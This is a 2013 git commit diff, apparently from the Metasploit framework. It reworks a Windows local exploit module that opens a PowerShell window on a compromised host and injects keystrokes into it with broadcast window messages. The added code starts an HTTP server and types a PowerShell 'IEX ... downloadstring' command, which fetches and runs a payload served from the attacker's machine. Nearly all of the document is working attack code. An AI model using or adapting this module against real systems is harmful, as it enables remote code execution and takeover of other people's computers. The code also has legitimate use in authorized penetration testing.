Working with psh download

bug/bundler_fix
Meatballs 2013-07-26 02:29:55 +01:00
parent b99ad41a64
commit d3f3e5d63e
1 changed files with 30 additions and 22 deletions

View File

@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super( update_info( info,
@ -73,10 +74,7 @@ class Metasploit3 < Msf::Exploit::Local
bscan = 0x81 + number
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
sleep(0.01)
client.railgun.user32.keybd_event(vk, bscan, 0, 0)
sleep(0.01)
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
@ -85,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Local
def count_cmd_procs
count = 0
client.sys.process.each_process do |proc|
if proc['name'] == 'cmd.exe'
if proc['name'] == 'powershell.exe'
count += 1
end
end
@ -97,11 +95,12 @@ class Metasploit3 < Msf::Exploit::Local
def cleanup
if datastore['SPAWN_PROMPT']
vprint_status("Rehiding window...")
client.railgun.user32.ShowWindow(@hwin, 0)
#client.railgun.user32.ShowWindow(@hwin, 0)
end
end
def exploit
def primer
start_service
# syinfo is only on meterpreter sessions
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\ndyB0aGUgV2hpdGUgUmFiYml0Lg=="
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
@ -111,13 +110,13 @@ class Metasploit3 < Msf::Exploit::Local
if @hwin == nil
@hwin = client.railgun.user32.GetForegroundWindow()['return']
end
#client.railgun.user32.ShowWindow(@hwin, 0)
#client.railgun.user32.ShowWindow(@hwin, 5)
client.railgun.user32.ShowWindow(@hwin, 0)
client.railgun.user32.ShowWindow(@hwin, 5)
# Spawn low integrity cmd.exe
print_status("Spawning Low Integrity Cmd Prompt")
windir = client.fs.file.expand_path("%windir%")
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
li_cmd_pid = client.sys.process.execute("powershell.exe", nil, {'Hidden' => false }).pid
count = count_cmd_procs
spawned = false
@ -141,15 +140,24 @@ class Metasploit3 < Msf::Exploit::Local
end
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
payload = Rex::Text.decode_base64(e) if datastore['EEGG']
payload.each_char do |c|
print c
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
command = download_and_run
command = Rex::Text.decode_base64(e) if datastore['EEGG']
command.each_char do |c|
print c if command.length < 200
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
sleep(0.01)
end
print_line
print_status("Executing command...")
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
end
def on_request_uri(cli, request)
print_status("Delivering Payload")
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
end